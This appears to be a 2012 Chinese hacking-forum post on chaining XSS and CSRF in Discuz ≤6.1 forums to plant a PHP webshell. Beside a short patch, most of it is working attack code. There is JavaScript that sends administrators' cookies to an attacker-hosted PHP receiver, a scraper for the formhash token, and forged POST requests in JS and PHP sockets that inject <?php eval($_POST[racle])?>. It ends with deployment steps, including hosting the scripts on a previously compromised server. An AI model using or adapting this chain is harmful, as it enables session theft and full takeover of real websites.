找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3821|回复: 0
打印 上一主题 下一主题

Discuz XSS得webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:11:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Discuz XSS得webshell' G/ e0 V0 h: A& F( v2 Y% `
By racle @tian6.com- X" P, M) o6 ^0 [" E
欢迎转帖.但请保留版权信息.
6 X9 E5 I3 u; f受影响版本iscuz<=6.1.0,gbk+utf+big5  V# o4 l3 t) r

" j. D6 O( p2 g0 |6 d! q新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.6 E7 F- F) [& Y4 ^1 x: R
! ]) C  s# ^2 l/ V4 v2 P
3 F* F8 B  Z7 A
3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706
) R' H+ }. t" e# B4 l! M当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.
, `9 S  e$ b: u! ]1 A+ c
1 d6 E/ t6 o, a8 n/ G分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..
2 w: \$ \# E% S2 r# M本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS3 M; r) z( q& X1 N

& C" S! W6 C  U# {& X# J2 s* M5 i2 P" q$ M8 x
----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------
5 l$ ~( k) G; ]( c
) c% _3 L" c8 G% {5 d+ k9 F$ _) L8 j) ^: @3 W
problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.
- r, B3 L7 W+ v* ~( q+ O) S& T5 d" {- E1 l, [* `
problem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.
, K8 _8 B# b( N2 Y) L+ A* ^' J- _7 w  e! E3 G* Q
problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.
- y. y  E$ m, H% i5 U! Q+ u- |" a
, J5 s. P9 W# D0 z
( C; [  k; k7 s6 O/ ~  W8 R1 ^下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {
; _3 A# N3 d+ W+ |5 |* c9 x: l, f& H$ A+ `
        global $runwizardfile, $runwizardhistory;
% }* _, L7 f) G, D  `% G7 P6 [3 L/ p4 E' {+ F
        $fp = fopen($runwizardfile, 'w');" D9 O$ E5 Y% g9 }7 g

, ^, U) e- x6 [! h        fwrite($fp, serialize($runwizardhistory));
# g' J( A/ G, F0 k- o' I  b" ?. r5 [8 d8 p+ a, A! _7 _) [" E
        fclose($fp);
/ t7 ]9 w$ ~8 c  M8 \. ?8 l( [; T8 @- L1 K$ [
}
) ]8 |% N! h' ]1 a( V3 h复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.
! [* A/ a  ~' r/ s- D' r( U4 u以下是修补的办法:function saverunwizardhistory() {. [+ h1 z- U5 ?7 h4 k; B

+ u' B$ u4 i7 x4 h3 g: O9 v        global $runwizardfile, $runwizardhistory;
  g! M2 J5 y8 [% K& {0 x* |4 W+ h/ v
        $fp = fopen($runwizardfile, 'w');
" e: M3 z9 [; Y# ~( g/ H% r9 O2 ~: \! H) _+ q: w. O
        $s = '<?php exit;?>';
# l* M8 B0 N# o: M! R2 n
) W  c. r/ M" n* P7 I9 ~        $s .= serialize($runwizardhistory);
1 P4 ?6 ?: _$ i" r
, p2 q5 l% \* d  p9 t, h        fwrite($fp, $s);/ L# J% C: `6 f. b
$ t1 \" Z9 E: V1 o5 J7 R# r4 Q' F
        fclose($fp);
( I! c. P/ ~2 t- \/ y$ [. [4 s: t  a/ g9 R' W
}3 c& W9 v2 O/ z: M" w, H" e7 |: i5 n
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.- h/ f1 Z# [) g3 W

9 n% c- |0 q$ F# G! s, R# `' M* o. S7 f- t
. U# u: z  ~; p+ Q. C! P
----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------
. c, d' {" Q) s, D- V! h! N) f* f8 L) j
- i6 ]) q4 B, m( K
  以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.
  m/ ~% t; o" {) d% D% A" e0 w* N
+ _  V. w7 g& J8 |3 y9 l我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.7 m0 q& X# I% |. d

2 Q7 _6 `! o2 g; K, h. {这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.
! \% P, `0 d" w% Q
& D2 |* O+ ^* d0 {( n首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:0 n# ~& F( @% @, E; S5 h
2 _& \  l% O2 ]; E6 H8 ~4 u
var url="http://目标网站/admincp.php";      ( v$ ~0 d- a8 J( u1 k  d

. i) ^+ U. r; _! Q- F9 `7 G% N' _/*获得cookies*/
7 o: j# s) Z/ u) o* r, l6 o8 T9 S9 _2 h7 q; C
function getURL(s) {
1 J$ @4 V. t5 v1 o1 N# ]7 e( e4 D) C$ Y' q0 e9 T; f
var image = new Image();
" I7 b$ e( X/ c4 ]* l3 Z
% h! g5 f% D/ b0 c: a' b1 `image.style.width = 0;
; D$ s( s6 _' ?5 v8 ]9 {) e) Q! x0 k1 ?# w, ~- |% P
image.style.height = 0;
* e" w* |2 m! {) C2 }. m: L
! F% U" C# n6 g4 ]4 {1 `) Qimage.src = s;# S: h# v; P1 x

. C) y' y6 I6 E) Z2 S0 r$ |; ~}4 f1 }" G$ H( s: q
7 e* j( F% a' c
getURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));  //这里就通过image变量传给了php( S& q* J( G, q* j6 t0 }5 I3 A
复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];
4 @& g4 z2 p& E4 h$ N  G% E- W8 S3 |$ Z* x复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) ; K! A5 B  ?0 H  N& E3 A2 b+ w$ H
3 B0 k, o$ b: a9 V% h+ L
5 ~) g7 b' X/ j1 c
获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";
" r: f2 [4 j. D$ p# q$ O6 d  p) z# y* Z( e4 R
) v9 h; x% g5 l) H( l. [8 ]

5 k9 B, V6 y/ K/ }$ j* R/*hash*/9 G! Y5 a, n8 R0 [* b+ \: z' T% L
, v  C+ p/ d4 h) u! J
var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");. n* c+ l' U+ l$ f5 k; H9 q) q

* r, Y1 p9 y% Y' fxmlHttpReq.open("GET", url+"admincp.php?action=home", false);
) W& \0 v( R# H8 }8 A& |4 p
3 w" N) x6 [1 e0 ^/ nxmlHttpReq.send();
. c6 D* H8 U# s' V" C0 [4 X4 \$ t3 a& }2 G) ?
var resource = xmlHttpReq.responseText;
( T6 T& \' ~; u) g
3 a. h& F9 K+ H* j6 N1 @1 v1 Uvar numero = resource.search(/formhash/);
+ a* G7 s. [4 `5 j& X2 `& f3 k2 C) z! t! m% `/ n" a, _
var formhash=encodeURIComponent(resource.substr(numero+17,8));6 W) S$ ^1 t  }4 V3 ?
  U! Z* E8 }2 `$ W" g7 V
4 V; c3 S0 p3 _/ U+ C

, ~; R$ @# P% B; K! Qvar post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据
9 y& H0 {6 G5 ~0 O
& o( c8 C8 t2 U4 `% J) b+ W) fxmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信
; Q5 |) ~: x4 X1 h) |# e  e- K
2 ]2 P1 \) Y5 s3 A- {+ w) ]4 ?xmlHttpReq.setRequestHeader("Referer", url);
* `* c" B$ C' p6 Z" U  R' P# P4 a1 I" L6 m" b: X- @
xmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");& N# [8 n$ Y! R
' _+ q, h6 }. ?; |
xmlHttpReq.setrequestheader("content-length",post.length);
8 G  d+ e  \$ S1 {- f# S% W# Y- H1 ^6 M, c9 W+ S0 R
xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded");
& ?: E' d' T. R1 r! [- k  d
' e% n9 G3 D' M/ RxmlHttpReq.send(post);//发送数据% c2 S6 L: \4 ?
复制代码这里HASH我假设正确,这样提交,也无须cookies
1 r2 W7 |% U. x# r; q5 v/ W2 x5 g' `! K+ w2 q0 z
再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);* E2 v3 n9 w8 z8 J! O$ R$ V% {

- }0 f3 ?' P' Wif (!$sock) die("$errstr ($errno)\n");
: b1 C# @  i, v% @3 E" _
# W+ q5 B- G, u8 p* c, k$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';: t1 u0 f/ \. N3 _
! ?% V, F8 C# ]9 Q# _/ y; Q- ?# R5 V
8 o0 e# p0 f5 n5 E
" ]( \% c7 B2 v1 ]  |) ?" l; O
fwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");8 m' \- K9 {( G4 Y4 _

; w/ X: p0 I* {. K1 L1 W) w% [/ _fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");
- D1 k9 h% F+ F/ }
: [/ h/ U5 @  kfwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
0 f' E( @" Z$ ]  m+ g) `* G9 _6 ^1 C4 b* d
fwrite($sock, "Accept-Language: zh-cn\r\n");
$ i2 _/ y( q9 n) _! G2 @& U7 t% \. X0 e2 {: n! Y) g9 Z3 `
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");" `" J7 z" I" l7 J6 U5 F
- O  J  I" {; U
fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");
$ X9 f% V3 b4 _; [! Z7 D% S% v+ C0 i3 V4 s. d. h' N
fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");0 q9 i7 `' G2 i7 k5 W' n

* ]' x" ]' e3 ]6 V" F8 A' b, k- `fwrite($sock, "Host: $url\r\n");" x# I' o7 T! p  D4 N

7 W  S# R$ {( ifwrite($sock, "Content-Length: ".strlen($data)."\r\n");
4 @: I1 {7 E: u9 U( [9 d. R
0 V' M, e! U5 c  r2 h# ofwrite($sock, "Connection: Keep-Alive\r\n");) P6 ]" D. u- s* |
& f  K" z" O/ J
fwrite($sock, "Cache-Control: no-cache\r\n");, s5 _. c6 m% s1 c# t' t4 j
5 I+ `6 p, G3 q6 S  w. s+ C/ ^* q
fwrite($sock, "Cookie:".$cookies."\r\n\r\n");) G$ S' ~1 r5 I6 @! s; [
7 a9 y$ e. \1 p- e- y: @
fwrite($sock, $data);
! m" u# {4 n& H" m8 o3 b
4 u) |( t  u2 ?5 L1 J+ g# k4 U0 x3 h9 Y# R
. L/ i0 o4 ?1 C5 Y. J8 Q4 Q8 r3 J
$headers = "";7 \/ F$ o: @2 H. S  Q( y
5 ?: b) M, |8 J5 x' e* w
while ($str = trim(fgets($sock, 4096))). N# p/ [9 i! u' v3 C
  ~/ J2 t- t# B. K, B
     $headers .= "$str\n";: h2 x% W% u* _: E+ N. V
8 b, g9 D- j4 H+ H" ~! v1 o. s. p" o
echo "\n";
" T* ~2 Z+ _. j7 G1 L1 A- i0 S6 i1 D* ~
+ S. {# N% ]. Q# y% t$body = "";
& T- p0 {7 i" U) Z4 t- D; W
& n- V& Q5 s7 D1 r  f3 A% L4 Rwhile (!feof($sock))
; {" A' d4 v& N! z1 G% A5 s* l2 E) S, @! ?" T; C
     $body .= fgets($sock, 4096);8 Y3 x" i' c  a3 s7 Z! U+ G1 ^2 Z

$ }0 A! e/ x. y( o) ^; j/ lfclose($sock);: F* B+ Y+ V. i7 I; l+ K  z

4 J# k. D$ D6 L4 A; N$ Pecho $body;
/ Q9 W5 N7 S9 q, s% H% x复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^$ z9 _+ Z' ~0 L, ]# P2 c

; v3 b. u: E. ]+ X1 \& o- J: w# Y1 O3 ^( |" h7 n
-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------
& d, R8 t1 `; D. J4 V9 ^  O& l- N5 v9 i  N0 r
6 l. ]- _& @' j8 |1 E! \, x, X0 p0 R
1HP SOCKET利用方法首先打开racle.js
8 ]/ o+ l" U+ r1 Z. j
8 c* Q6 d) f9 p- U1 Uvar url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home% Y5 g* |" s0 J6 v- J% m/ L. p/ q

" u* w  w+ H' H/ o2 K# S0 S/ m! g& _4 O
! ]& t+ A# P8 ~$ @) S; w  V
然后打开racle@tian6.php
3 ]! z9 Q# p, k! f4 N& u
6 p8 L0 \  h- p9 ?' Z; J$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com
- P8 x& T+ D! \2 {* g% j
. G0 j4 T$ K2 |# ~
; [- ~+ [4 k- B2 b6 j0 K1 `/ _% i- w5 `
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:' ]! y* ^$ p  X
6 P9 r, g8 O5 K
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));
- }, ]# s. A+ t, N) k7 M; p0 z6 L# B) Q7 \9 Y, s

+ g) D( b( k2 x
8 h0 d1 ^% a$ z3 ]4 u5 ZgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));
, n1 @7 _( U5 c复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.  s% O& v. Y' \+ e
( o8 r; M6 s$ M' g6 F- }8 p! }6 P0 ?

, F6 _6 L; t7 _+ r
, V9 ~4 U- j! W9 S( c如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:1 g3 n$ z* e7 N3 [% w
/ N# ?7 q0 \. C5 A
var formhash=encodeURIComponent(resource.substr(numero+17,8));
% S- D' {2 I& L& b0 q3 N: d, b& o  W3 Y4 P

, `7 `0 L* z2 x: J5 v* _, {8 @) F& q% J- P( X* K  _3 J4 L7 {5 o. g& R' O
var formhash=encodeURIComponent(resource.substr(numero+9,8));
3 R' y9 m  C/ r0 T% i$ }复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.
2 w# O9 Y  S" A4 q$ @6 F9 T4 g. L! Q# U5 r2 \3 @
如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.
& n6 X6 n% X% I' B) ]0 N3 I: W9 S& G" d4 i* ?' m
如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.
, Q  z$ l% [) E# q* ]6 P' L2 I; J0 H  D- V8 R
不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.
, w2 p* w8 P1 `( { 8 K0 p1 ~, A5 |6 M) X2 u5 |$ I) N
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表